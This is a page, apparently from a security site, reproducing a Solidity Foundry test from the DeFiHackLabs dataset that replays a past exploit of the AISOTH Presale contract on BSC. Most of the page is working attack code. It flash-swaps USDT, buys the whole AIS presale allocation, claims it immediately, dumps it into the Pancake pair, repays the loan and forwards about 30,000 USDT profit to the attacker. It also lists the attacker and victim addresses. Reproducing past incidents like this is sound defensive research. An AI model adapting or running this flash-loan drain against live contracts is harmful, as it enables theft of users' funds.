Public reproduction file
src/test/2026-06/AISOTHPresale_exp.sol
Public reproduction file for dataset entry AISOTHPresale.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 30,314.76 USDT8// Attacker : 0x627df72cc3fa38c475a414e65cdece09b2b177af9// Attack Contract : 0x2078b0d64ede277d65bdf0272f64aef2a954deab10// Vulnerable Contract : 0x796c5e8ca10010654dafaef096bd1f4a7ad8767211// Victim : 0x9efb2e8ba06eb5981034f6e01350af041983e76312// Attack Tx : https://bscscan.com/tx/0x11462984d7f5663db9cf95c07c6cd9ff91f5b2d6616268e8dd6a3013e190248c14// @Info15// Vulnerable Contract Code : https://bscscan.com/address/0x796c5e8ca10010654dafaef096bd1f4a7ad87672#code17// @Analysis18// Twitter Guy : https://x.com/audit_911/status/206356549507341561819//20// The attacker flash-swapped USDT, bought the full claimable AIS balance from Presale, immediately claimed it,21// sold the AIS into the AIS/USDT Pancake pair, repaid the flash swap, and forwarded the remaining USDT profit.23address constant ATTACKER = 0x627DF72cC3FA38C475A414e65CdECE09b2b177AF;24address constant PRESALE = 0x796C5E8cA10010654DafAeF096bd1F4a7ad87672;25address constant AIS = 0x67b6b8B8867e501385C95b843A23f9Bfe34811dB;26address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;27address constant USDT_WBNB_PAIR = 0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE;28address payable constant PANCAKE_ROUTER = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);30interface IAISOTHPresale {31 function price() external view returns (uint256);32 function buy(33 uint256 amount34 ) external;35 function claim() external;36}38contract ContractTest is BaseTestWithBalanceLog {39 function setUp() public {40 uint256 forkBlock = 102_408_283;41 vm.createSelectFork("bsc", forkBlock);42 fundingToken = USDT_TOKEN;44 vm.label(ATTACKER, "Attacker EOA");45 vm.label(PRESALE, "AISOTH Presale");46 vm.label(AIS, "AISOTH");47 vm.label(USDT_TOKEN, "USDT");48 vm.label(USDT_WBNB_PAIR, "USDT/WBNB Pancake pair");49 vm.label(PANCAKE_ROUTER, "Pancake router");50 }52 function testExploit() public {53 AISOTHPresaleExploit exploit = new AISOTHPresaleExploit(ATTACKER);55 uint256 attackerBefore = IERC20(USDT_TOKEN).balanceOf(ATTACKER);56 vm.prank(ATTACKER);57 exploit.attack();59 uint256 profit = IERC20(USDT_TOKEN).balanceOf(ATTACKER) - attackerBefore;60 logTokenBalance(USDT_TOKEN, ATTACKER, "Attacker Final");61 assertGt(profit, 30_000 ether, "USDT profit");62 }63}65contract AISOTHPresaleExploit {66 address private immutable profitReceiver;68 IERC20 private constant usdt = IERC20(USDT_TOKEN);69 IERC20 private constant ais = IERC20(AIS);70 IAISOTHPresale private constant presale = IAISOTHPresale(PRESALE);71 IPancakePair private constant loanPair = IPancakePair(USDT_WBNB_PAIR);72 IPancakeRouter private constant router = IPancakeRouter(PANCAKE_ROUTER);74 constructor(75 address profitReceiver_76 ) {77 profitReceiver = profitReceiver_;78 }80 function attack() external {81 require(msg.sender == profitReceiver, "only receiver");83 // step 1: borrow enough USDT to buy the full AIS inventory available in Presale.84 uint256 presaleAisBalance = ais.balanceOf(PRESALE);85 uint256 borrowAmount = (presaleAisBalance * presale.price()) / 1e18;86 loanPair.swap(borrowAmount, 0, address(this), bytes("1"));88 // step 6: after repaying the flash swap, forward the remaining USDT to the attacker EOA.89 uint256 profit = usdt.balanceOf(address(this));90 usdt.transfer(profitReceiver, profit);91 }93 function pancakeCall(94 address sender,95 uint256 amount0,96 uint256 amount1,97 bytes calldata data98 ) external {99 require(msg.sender == USDT_WBNB_PAIR, "not loan pair");100 require(sender == address(this), "bad sender");101 require(amount0 > 0 && amount1 == 0 && data.length > 0, "bad loan");103 // step 2: buy Presale allocation with the flash-swapped USDT.104 usdt.approve(PRESALE, amount0);105 presale.buy(amount0);107 // step 3: immediately claim the AIS credited by buy().108 presale.claim();110 // step 4: sell claimed AIS through the fee-on-transfer supporting Pancake router path.111 uint256 aisBalance = ais.balanceOf(address(this));112 ais.approve(PANCAKE_ROUTER, aisBalance);113 address[] memory path = new address[](2);114 path[0] = AIS;115 path[1] = USDT_TOKEN;116 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(117 aisBalance, 1, path, address(this), block.timestamp118 );120 // step 5: repay the Pancake V2 flash swap with the 0.25% pair fee.121 uint256 repayment = (amount0 * 10_000) / 9975 + 1;122 usdt.transfer(USDT_WBNB_PAIR, repayment);123 }124}Analysis
Dataset entry
Public Foundry test for “AISOTHPresale” (2026-06-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-06/AIDC_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/AmbientCrocSwapDex_exp.solSame month in the dataset · 262 lines
- src/test/2026-06/ATM_LP_Burn_exp.solSame month in the dataset · 108 lines
- src/test/2026-06/ATM_exp.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecConnect_exp.solSame month in the dataset · 127 lines
- src/test/2026-06/AztecEscapeHatch_exp2.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecEscapeHatch_exp.solSame month in the dataset · 77 lines
- src/test/2026-06/BOSS_exp.solSame month in the dataset · 142 lines
- src/test/2026-06/BYToken_exp.solSame month in the dataset · 106 lines
- src/test/2026-06/CookFinanceIssuance_exp.solSame month in the dataset · 259 lines
- src/test/2026-06/DIP_exp.solSame month in the dataset · 139 lines
- src/test/2026-06/DLMC_exp.solSame month in the dataset · 160 lines
- src/test/2026-06/DTXT_exp.solSame month in the dataset · 166 lines
- src/test/2026-06/JB_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/LBP_exp.solSame month in the dataset · 289 lines
- src/test/2026-06/LixirPermitDrain_exp.solSame month in the dataset · 251 lines
- src/test/2026-06/NovaBox_exp.solSame month in the dataset · 219 lines
- src/test/2026-06/OceanBPoolSideStaking_exp.solSame month in the dataset · 159 lines
- src/test/2026-06/OLPC_exp.solSame month in the dataset · 301 lines
- src/test/2026-06/RoyalRoyalties_exp.solSame month in the dataset · 196 lines
- src/test/2026-06/Thetanuts_exp.solSame month in the dataset · 172 lines
- src/test/2026-06/TOPBPool_exp.solSame month in the dataset · 143 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x627df72cc3fa38c475a414e65cdece09b2b177af
- Attack Contract
0x2078b0d64ede277d65bdf0272f64aef2a954deab
- Vulnerable Contract
0x796c5e8ca10010654dafaef096bd1f4a7ad87672
- Victim
0x9efb2e8ba06eb5981034f6e01350af041983e763
- Attack Tx
0x11462984d7f5663db9cf95c07c6cd9ff91f5b2d6616268e8dd6a3013e190248c
File record
- Name
- AISOTHPresale
- Path
- src/test/2026-06/AISOTHPresale_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- ccd2fed50d8ba74c96638b5693ea91c00c5dcd6a
- Language
- Solidity
- Size
- 125 lines
- Date
- 2026-06-05
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-06/AISOTHPresale_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ccd2fed50d8ba74c96638b5693ea91c00c5dcd6a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.